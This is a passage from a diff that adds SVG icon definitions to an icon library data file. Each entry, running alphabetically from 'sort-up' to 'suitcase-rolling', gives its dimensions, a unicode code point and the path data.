1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z" ], + "sort-up": [ 320, 512, [], "f0de", "M279 224H41c-21.4 0-32.1-25.9-17-41L143 64c9.4-9.4 24.6-9.4 33.9 0l119 119c15.2 15.1 4.5 41-16.9 41z" ], + spa: [ 576, 512, [], "f5bb", "M568.25 192c-29.04.13-135.01 6.16-213.84 83-33.12 29.63-53.36 63.3-66.41 94.86-13.05-31.56-33.29-65.23-66.41-94.86-78.83-76.84-184.8-82.87-213.84-83-4.41-.02-7.79 3.4-7.75 7.82.23 27.92 7.14 126.14 88.77 199.3C172.79 480.94 256 480 288 480s115.19.95 199.23-80.88c81.64-73.17 88.54-171.38 88.77-199.3.04-4.42-3.34-7.84-7.75-7.82zM287.98 302.6c12.82-18.85 27.6-35.78 44.09-50.52 19.09-18.61 39.58-33.3 60.26-45.18-16.44-70.5-51.72-133.05-96.73-172.22-4.11-3.58-11.02-3.58-15.14 0-44.99 39.14-80.27 101.63-96.74 172.07 20.37 11.7 40.5 26.14 59.22 44.39a282.768 282.768 0 0 1 45.04 51.46z" ], + "space-shuttle": [ 640, 512, [], "f197", "M592.604 208.244C559.735 192.836 515.777 184 472 184H186.327c-4.952-6.555-10.585-11.978-16.72-16H376C229.157 137.747 219.403 32 96.003 32H96v128H80V32c-26.51 0-48 28.654-48 64v64c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v16c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v64c0 35.346 21.49 64 48 64V352h16v128h.003c123.4 0 133.154-105.747 279.997-136H169.606c6.135-4.022 11.768-9.445 16.72-16H472c43.777 0 87.735-8.836 120.604-24.244C622.282 289.845 640 271.992 640 256s-17.718-33.845-47.396-47.756zM488 296a8 8 0 0 1-8-8v-64a8 8 0 0 1 8-8c31.909 0 31.942 80 0 80z" ], + "spell-check": [ 576, 512, [], "f891", "M272 256h91.36c43.2 0 82-32.2 84.51-75.34a79.82 79.82 0 0 0-25.26-63.07 79.81 79.81 0 0 0 9.06-44.91C427.9 30.57 389.3 0 347 0h-75a16 16 0 0 0-16 16v224a16 16 0 0 0 16 16zm40-200h40a24 24 0 0 1 0 48h-40zm0 96h56a24 24 0 0 1 0 48h-56zM155.12 22.25A32 32 0 0 0 124.64 0H99.36a32 32 0 0 0-30.48 22.25L.59 235.73A16 16 0 0 0 16 256h24.93a16 16 0 0 0 15.42-11.73L68.29 208h87.42l11.94 36.27A16 16 0 0 0 183.07 256H208a16 16 0 0 0 15.42-20.27zM89.37 144L112 75.3l22.63 68.7zm482 132.48l-45.21-45.3a15.88 15.88 0 0 0-22.59 0l-151.5 151.5-55.41-55.5a15.88 15.88 0 0 0-22.59 0l-45.3 45.3a16 16 0 0 0 0 22.59l112 112.21a15.89 15.89 0 0 0 22.6 0l208-208.21a16 16 0 0 0-.02-22.59z" ], + spider: [ 576, 512, [], "f717", "M151.17 167.35L177.1 176h4.67l5.22-26.12c.72-3.58 1.8-7.58 3.21-11.79l-20.29-40.58 23.8-71.39c2.79-8.38-1.73-17.44-10.12-20.24L168.42.82c-8.38-2.8-17.45 1.73-20.24 10.12l-25.89 77.68a32.04 32.04 0 0 0 1.73 24.43l27.15 54.3zm422.14 182.03l-52.75-79.12a32.002 32.002 0 0 0-26.62-14.25H416l68.99-24.36a32.03 32.03 0 0 0 16.51-12.61l53.6-80.41c4.9-7.35 2.91-17.29-4.44-22.19l-13.31-8.88c-7.35-4.9-17.29-2.91-22.19 4.44l-50.56 75.83L404.1 208H368l-10.37-51.85C355.44 145.18 340.26 96 288 96c-52.26 0-67.44 49.18-69.63 60.15L208 208h-36.1l-60.49-20.17L60.84 112c-4.9-7.35-14.83-9.34-22.19-4.44l-13.31 8.88c-7.35 4.9-9.34 14.83-4.44 22.19l53.6 80.41a32.03 32.03 0 0 0 16.51 12.61L160 256H82.06a32.02 32.02 0 0 0-26.63 14.25L2.69 349.38c-4.9 7.35-2.92 17.29 4.44 22.19l13.31 8.88c7.35 4.9 17.29 2.91 22.19-4.44l48-72h47.06l-60.83 97.33A31.988 31.988 0 0 0 72 418.3V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-73.11l74.08-118.53c-1.01 14.05-2.08 28.11-2.08 42.21C192 399.64 232.76 448 288 448s96-48.36 96-101.43c0-14.1-1.08-28.16-2.08-42.21L456 422.89V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-77.71c0-6-1.69-11.88-4.86-16.96L438.31 304h47.06l48 72c4.9 7.35 14.84 9.34 22.19 4.44l13.31-8.88c7.36-4.9 9.34-14.83 4.44-22.18zM406.09 97.51l-20.29 40.58c1.41 4.21 2.49 8.21 3.21 11.79l5.22 26.12h4.67l25.93-8.65 27.15-54.3a31.995 31.995 0 0 0 1.73-24.43l-25.89-77.68C425.03 2.56 415.96-1.98 407.58.82l-15.17 5.06c-8.38 2.8-12.91 11.86-10.12 20.24l23.8 71.39z" ], + spinner: [ 512, 512, [], "f110", "M304 48c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-48 368c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm208-208c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zM96 256c0-26.51-21.49-48-48-48S0 229.49 0 256s21.49 48 48 48 48-21.49 48-48zm12.922 99.078c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.491-48-48-48zm294.156 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.49-48-48-48zM108.922 60.922c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.491-48-48-48z" ], + splotch: [ 512, 512, [], "f5bc", "M472.29 195.89l-67.06-22.95c-19.28-6.6-33.54-20.92-38.14-38.3L351.1 74.19c-11.58-43.77-76.57-57.13-109.98-22.62l-46.14 47.67c-13.26 13.71-33.54 20.93-54.2 19.31l-71.88-5.62c-52.05-4.07-86.93 44.88-59.03 82.83l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24L24.62 355.4c-20.59 41.25 22.84 84.87 73.49 73.81l69.96-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101.04 7.57 104.45-37.22l4.7-61.86c1.35-17.79 12.8-33.86 30.63-42.99l62-31.74c44.88-22.96 39.59-80.17-8.95-96.79z" ], + "spray-can": [ 512, 512, [], "f5bd", "M224 32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96h128V32zm256 96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-256 32H96c-53.02 0-96 42.98-96 96v224c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V256c0-53.02-42.98-96-96-96zm-64 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zM480 96c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm-96 32c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-96-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 0c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 192c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z" ], + square: [ 448, 512, [], "f0c8", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z" ], + "square-full": [ 512, 512, [], "f45c", "M512 512H0V0h512v512z" ], + "square-root-alt": [ 576, 512, [], "f698", "M571.31 251.31l-22.62-22.62c-6.25-6.25-16.38-6.25-22.63 0L480 274.75l-46.06-46.06c-6.25-6.25-16.38-6.25-22.63 0l-22.62 22.62c-6.25 6.25-6.25 16.38 0 22.63L434.75 320l-46.06 46.06c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L480 365.25l46.06 46.06c6.25 6.25 16.38 6.25 22.63 0l22.62-22.62c6.25-6.25 6.25-16.38 0-22.63L525.25 320l46.06-46.06c6.25-6.25 6.25-16.38 0-22.63zM552 0H307.65c-14.54 0-27.26 9.8-30.95 23.87l-84.79 322.8-58.41-106.1A32.008 32.008 0 0 0 105.47 224H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h43.62l88.88 163.73C168.99 503.5 186.3 512 204.94 512c17.27 0 44.44-9 54.28-41.48L357.03 96H552c13.25 0 24-10.75 24-24V24c0-13.26-10.75-24-24-24z" ], + stamp: [ 512, 512, [], "f5bf", "M32 512h448v-64H32v64zm384-256h-66.56c-16.26 0-29.44-13.18-29.44-29.44v-9.46c0-27.37 8.88-53.41 21.46-77.72 9.11-17.61 12.9-38.39 9.05-60.42-6.77-38.78-38.47-70.7-77.26-77.45C212.62-9.04 160 37.33 160 96c0 14.16 3.12 27.54 8.69 39.58C182.02 164.43 192 194.7 192 226.49v.07c0 16.26-13.18 29.44-29.44 29.44H96c-53.02 0-96 42.98-96 96v32c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-32c0-53.02-42.98-96-96-96z" ], + star: [ 576, 512, [], "f005", "M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z" ], + "star-and-crescent": [ 512, 512, [], "f699", "M340.47 466.36c-1.45 0-6.89.46-9.18.46-116.25 0-210.82-94.57-210.82-210.82S215.04 45.18 331.29 45.18c2.32 0 7.7.46 9.18.46 7.13 0 13.33-5.03 14.75-12.07 1.46-7.25-2.55-14.49-9.47-17.09C316.58 5.54 286.39 0 256 0 114.84 0 0 114.84 0 256s114.84 256 256 256c30.23 0 60.28-5.49 89.32-16.32 5.96-2.02 10.28-7.64 10.28-14.26 0-8.09-6.39-15.06-15.13-15.06zm162.99-252.5l-76.38-11.1-34.16-69.21c-1.83-3.7-5.38-5.55-8.93-5.55s-7.1 1.85-8.93 5.55l-34.16 69.21-76.38 11.1c-8.17 1.18-11.43 11.22-5.52 16.99l55.27 53.87-13.05 76.07c-1.11 6.44 4.01 11.66 9.81 11.66 1.53 0 3.11-.36 4.64-1.17L384 335.37l68.31 35.91c1.53.8 3.11 1.17 4.64 1.17 5.8 0 10.92-5.23 9.81-11.66l-13.05-76.07 55.27-53.87c5.91-5.77 2.65-15.81-5.52-16.99z" ], + "star-half": [ 576, 512, [], "f089", "M288 0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6V0z" ], + "star-half-alt": [ 536, 512, [], "f5c0", "M508.55 171.51L362.18 150.2 296.77 17.81C290.89 5.98 279.42 0 267.95 0c-11.4 0-22.79 5.9-28.69 17.81l-65.43 132.38-146.38 21.29c-26.25 3.8-36.77 36.09-17.74 54.59l105.89 103-25.06 145.48C86.98 495.33 103.57 512 122.15 512c4.93 0 10-1.17 14.87-3.75l130.95-68.68 130.94 68.7c4.86 2.55 9.92 3.71 14.83 3.71 18.6 0 35.22-16.61 31.66-37.4l-25.03-145.49 105.91-102.98c19.04-18.5 8.52-50.8-17.73-54.6zm-121.74 123.2l-18.12 17.62 4.28 24.88 19.52 113.45-102.13-53.59-22.38-11.74.03-317.19 51.03 103.29 11.18 22.63 25.01 3.64 114.23 16.63-82.65 80.38z" ], + "star-of-david": [ 464, 512, [], "f69a", "M405.68 256l53.21-89.39C473.3 142.4 455.48 112 426.88 112H319.96l-55.95-93.98C256.86 6.01 244.43 0 232 0s-24.86 6.01-32.01 18.02L144.04 112H37.11c-28.6 0-46.42 30.4-32.01 54.61L58.32 256 5.1 345.39C-9.31 369.6 8.51 400 37.11 400h106.93l55.95 93.98C207.14 505.99 219.57 512 232 512s24.86-6.01 32.01-18.02L319.96 400h106.93c28.6 0 46.42-30.4 32.01-54.61L405.68 256zm-12.78-88l-19.8 33.26L353.3 168h39.6zm-52.39 88l-52.39 88H175.88l-52.39-88 52.38-88h112.25l52.39 88zM232 73.72L254.79 112h-45.57L232 73.72zM71.1 168h39.6l-19.8 33.26L71.1 168zm0 176l19.8-33.26L110.7 344H71.1zM232 438.28L209.21 400h45.57L232 438.28zM353.29 344l19.8-33.26L392.9 344h-39.61z" ], + "star-of-life": [ 480, 512, [], "f621", "M471.99 334.43L336.06 256l135.93-78.43c7.66-4.42 10.28-14.2 5.86-21.86l-32.02-55.43c-4.42-7.65-14.21-10.28-21.87-5.86l-135.93 78.43V16c0-8.84-7.17-16-16.01-16h-64.04c-8.84 0-16.01 7.16-16.01 16v156.86L56.04 94.43c-7.66-4.42-17.45-1.79-21.87 5.86L2.15 155.71c-4.42 7.65-1.8 17.44 5.86 21.86L143.94 256 8.01 334.43c-7.66 4.42-10.28 14.21-5.86 21.86l32.02 55.43c4.42 7.65 14.21 10.27 21.87 5.86l135.93-78.43V496c0 8.84 7.17 16 16.01 16h64.04c8.84 0 16.01-7.16 16.01-16V339.14l135.93 78.43c7.66 4.42 17.45 1.8 21.87-5.86l32.02-55.43c4.42-7.65 1.8-17.43-5.86-21.85z" ], + "step-backward": [ 448, 512, [], "f048", "M64 468V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12v176.4l195.5-181C352.1 22.3 384 36.6 384 64v384c0 27.4-31.9 41.7-52.5 24.6L136 292.7V468c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12z" ], + "step-forward": [ 448, 512, [], "f051", "M384 44v424c0 6.6-5.4 12-12 12h-48c-6.6 0-12-5.4-12-12V291.6l-195.5 181C95.9 489.7 64 475.4 64 448V64c0-27.4 31.9-41.7 52.5-24.6L312 219.3V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12z" ], + stethoscope: [ 512, 512, [], "f0f1", "M447.1 112c-34.2.5-62.3 28.4-63 62.6-.5 24.3 12.5 45.6 32 56.8V344c0 57.3-50.2 104-112 104-60 0-109.2-44.1-111.9-99.2C265 333.8 320 269.2 320 192V36.6c0-11.4-8.1-21.3-19.3-23.5L237.8.5c-13-2.6-25.6 5.8-28.2 18.8L206.4 35c-2.6 13 5.8 25.6 18.8 28.2l30.7 6.1v121.4c0 52.9-42.2 96.7-95.1 97.2-53.4.5-96.9-42.7-96.9-96V69.4l30.7-6.1c13-2.6 21.4-15.2 18.8-28.2l-3.1-15.7C107.7 6.4 95.1-2 82.1.6L19.3 13C8.1 15.3 0 25.1 0 36.6V192c0 77.3 55.1 142 128.1 156.8C130.7 439.2 208.6 512 304 512c97 0 176-75.4 176-168V231.4c19.1-11.1 32-31.7 32-55.4 0-35.7-29.2-64.5-64.9-64zm.9 80c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z" ], + "sticky-note": [ 448, 512, [], "f249", "M312 320h136V56c0-13.3-10.7-24-24-24H24C10.7 32 0 42.7 0 56v400c0 13.3 10.7 24 24 24h264V344c0-13.2 10.8-24 24-24zm129 55l-98 98c-4.5 4.5-10.6 7-17 7h-6V352h128v6.1c0 6.3-2.5 12.4-7 16.9z" ], + stop: [ 448, 512, [], "f04d", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z" ], + "stop-circle": [ 512, 512, [], "f28d", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm96 328c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16v160z" ], + stopwatch: [ 448, 512, [], "f2f2", "M432 304c0 114.9-93.1 208-208 208S16 418.9 16 304c0-104 76.3-190.2 176-205.5V64h-28c-6.6 0-12-5.4-12-12V12c0-6.6 5.4-12 12-12h120c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-28v34.5c37.5 5.8 71.7 21.6 99.7 44.6l27.5-27.5c4.7-4.7 12.3-4.7 17 0l28.3 28.3c4.7 4.7 4.7 12.3 0 17l-29.4 29.4-.6.6C419.7 223.3 432 262.2 432 304zm-176 36V188.5c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12V340c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z" ], + "stopwatch-20": [ 448, 512, [], "e06f", "M398.5,190.91l.59-.61,26.59-26.58a16,16,0,0,0,0-22.63L403,118.41a16,16,0,0,0-22.63,0l-24.68,24.68A206.68,206.68,0,0,0,256,98.5V64h32a16,16,0,0,0,16-16V16A16,16,0,0,0,288,0H160a16.05,16.05,0,0,0-16,16V48a16.05,16.05,0,0,0,16,16h32V98.5A207.92,207.92,0,0,0,16.09,297.57C12.64,411.5,106.76,510.22,220.72,512,337.13,513.77,432,420,432,304A206,206,0,0,0,398.5,190.91ZM204.37,377.55a8.2,8.2,0,0,1,8.32,8.07v22.31a8.2,8.2,0,0,1-8.32,8.07H121.52a16.46,16.46,0,0,1-16.61-17.62c2.78-35.22,14.67-57.41,38.45-91.37,20.42-29.19,27.1-37.32,27.1-62.34,0-16.92-1.79-24.27-12.21-24.27-9.39,0-12.69,7.4-12.69,22.68v5.23a8.2,8.2,0,0,1-8.33,8.07h-24.9a8.2,8.2,0,0,1-8.33-8.07v-4.07c0-27.3,8.48-60.24,56.43-60.24,43,0,55.57,25.85,55.57,61,0,35.58-12.44,51.21-34.35,81.31-11.56,15-24.61,35.57-26.41,51.2ZM344,352.32c0,35.16-12.3,63.68-57.23,63.68C243.19,416,232,386.48,232,352.55V247.22c0-40.73,19.58-63.22,56.2-63.22C325,184,344,206.64,344,245.3ZM287.87,221.73c-9.41,0-13.23,7.5-13.23,20V357.68c0,13.11,3.59,20.59,13.23,20.59s13-8,13-21.27V241.06C300.89,229.79,297.88,221.73,287.87,221.73Z" ], + store: [ 616, 512, [], "f54e", "M602 118.6L537.1 15C531.3 5.7 521 0 510 0H106C95 0 84.7 5.7 78.9 15L14 118.6c-33.5 53.5-3.8 127.9 58.8 136.4 4.5.6 9.1.9 13.7.9 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18.1 20.1 44.3 33.1 73.8 33.1 4.7 0 9.2-.3 13.7-.9 62.8-8.4 92.6-82.8 59-136.4zM529.5 288c-10 0-19.9-1.5-29.5-3.8V384H116v-99.8c-9.6 2.2-19.5 3.8-29.5 3.8-6 0-12.1-.4-18-1.2-5.6-.8-11.1-2.1-16.4-3.6V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32V283.2c-5.4 1.6-10.8 2.9-16.4 3.6-6.1.8-12.1 1.2-18.2 1.2z" ], + "store-alt": [ 640, 512, [], "f54f", "M320 384H128V224H64v256c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V224h-64v160zm314.6-241.8l-85.3-128c-6-8.9-16-14.2-26.7-14.2H117.4c-10.7 0-20.7 5.3-26.6 14.2l-85.3 128c-14.2 21.3 1 49.8 26.6 49.8H608c25.5 0 40.7-28.5 26.6-49.8zM512 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V224h-64v272z" ], + "store-alt-slash": [ 640, 512, [], "e070", "M17.89,123.62,5.51,142.2c-14.2,21.3,1,49.8,26.59,49.8h74.26ZM576,413.42V224H512V364L384,265V224H330.92l-41.4-32H608c25.5,0,40.7-28.5,26.59-49.8l-85.29-128A32.18,32.18,0,0,0,522.6,0H117.42A31.87,31.87,0,0,0,90.81,14.2l-10.66,16L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.81l19.64-25.26a16,16,0,0,0-2.81-22.45ZM320,384H128V224H64V480a32,32,0,0,0,32,32H352a32,32,0,0,0,32-32V406.59l-64-49.47Z" ], + "store-slash": [ 640, 512, [], "e071", "M121.51,384V284.2a119.43,119.43,0,0,1-28,3.8,123.46,123.46,0,0,1-17.1-1.2,114.88,114.88,0,0,1-15.58-3.6V480c0,17.7,13.59,32,30.4,32H505.75L348.42,384Zm-28-128.09c25.1,0,47.29-10.72,64-27.24L24,120.05c-30.52,53.39-2.45,126.53,56.49,135A95.68,95.68,0,0,0,93.48,255.91ZM602.13,458.09,547.2,413.41V283.2a93.5,93.5,0,0,1-15.57,3.6,127.31,127.31,0,0,1-17.29,1.2,114.89,114.89,0,0,1-28-3.8v79.68L348.52,251.77a88.06,88.06,0,0,0,25.41,4.14c28.11,0,53-13,70.11-33.11,17.19,20.11,42.08,33.11,70.11,33.11a94.31,94.31,0,0,0,13-.91c59.66-8.41,88-82.8,56.06-136.4L521.55,15A30.1,30.1,0,0,0,495.81,0H112A30.11,30.11,0,0,0,86.27,15L76.88,30.78,43.19,3.38A14.68,14.68,0,0,0,21.86,6.19L3.2,31.45A16.58,16.58,0,0,0,5.87,53.91L564.81,508.63a14.69,14.69,0,0,0,21.33-2.82l18.66-25.26A16.58,16.58,0,0,0,602.13,458.09Z" ], + stream: [ 512, 512, [], "f550", "M16 128h416c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H16C7.16 32 0 39.16 0 48v64c0 8.84 7.16 16 16 16zm480 80H80c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm-64 176H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16z" ], + "street-view": [ 512, 512, [], "f21d", "M367.9 329.76c-4.62 5.3-9.78 10.1-15.9 13.65v22.94c66.52 9.34 112 28.05 112 49.65 0 30.93-93.12 56-208 56S48 446.93 48 416c0-21.6 45.48-40.3 112-49.65v-22.94c-6.12-3.55-11.28-8.35-15.9-13.65C58.87 345.34 0 378.05 0 416c0 53.02 114.62 96 256 96s256-42.98 256-96c0-37.95-58.87-70.66-144.1-86.24zM256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-64 192v96c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-96c17.67 0 32-14.33 32-32v-96c0-26.51-21.49-48-48-48h-11.8c-11.07 5.03-23.26 8-36.2 8s-25.13-2.97-36.2-8H208c-26.51 0-48 21.49-48 48v96c0 17.67 14.33 32 32 32z" ], + strikethrough: [ 512, 512, [], "f0cc", "M496 224H293.9l-87.17-26.83A43.55 43.55 0 0 1 219.55 112h66.79A49.89 49.89 0 0 1 331 139.58a16 16 0 0 0 21.46 7.15l42.94-21.47a16 16 0 0 0 7.16-21.46l-.53-1A128 128 0 0 0 287.51 32h-68a123.68 123.68 0 0 0-123 135.64c2 20.89 10.1 39.83 21.78 56.36H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-180.24 96A43 43 0 0 1 336 356.45 43.59 43.59 0 0 1 292.45 400h-66.79A49.89 49.89 0 0 1 181 372.42a16 16 0 0 0-21.46-7.15l-42.94 21.47a16 16 0 0 0-7.16 21.46l.53 1A128 128 0 0 0 224.49 480h68a123.68 123.68 0 0 0 123-135.64 114.25 114.25 0 0 0-5.34-24.36z" ], + stroopwafel: [ 512, 512, [], "f551", "M188.12 210.74L142.86 256l45.25 45.25L233.37 256l-45.25-45.26zm113.13-22.62L256 142.86l-45.25 45.25L256 233.37l45.25-45.25zm-90.5 135.76L256 369.14l45.26-45.26L256 278.63l-45.25 45.25zM256 0C114.62 0 0 114.62 0 256s114.62 256 256 256 256-114.62 256-256S397.38 0 256 0zm186.68 295.6l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-28.29-28.29-45.25 45.25 33.94 33.94 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-33.94-33.94-45.26 45.26 28.29 28.29c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0L256 414.39l-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l28.29-28.29-45.25-45.26-33.94 33.94 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 33.94-33.94-45.25-45.25-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0L69.32 295.6c-3.12-3.12-3.12-8.19 0-11.31L97.61 256l-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l28.29 28.29 45.25-45.26-33.94-33.94-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 33.94 33.94 45.26-45.25-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0L256 97.61l28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-28.29 28.29 45.26 45.25 33.94-33.94-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-33.94 33.94 45.25 45.26 28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31L414.39 256l28.29 28.28a8.015 8.015 0 0 1 0 11.32zM278.63 256l45.26 45.25L369.14 256l-45.25-45.26L278.63 256z" ], + subscript: [ 512, 512, [], "f12c", "M496 448h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 352h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z" ], + subway: [ 448, 512, [], "f239", "M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zM200 232V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm200 0V120c0-13.255-10.745-24-24-24H272c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm-48 56c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm-256 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z" ], + suitcase: [ 512, 512, [], "f0f2", "M128 480h256V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v400zm64-384h128v32H192V96zm320 80v256c0 26.5-21.5 48-48 48h-48V128h48c26.5 0 48 21.5 48 48zM96 480H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h48v352z" ], + "suitcase-rolling": [ 384, 512, [], "f5c1", "M336 160H48c-26.51 0-48 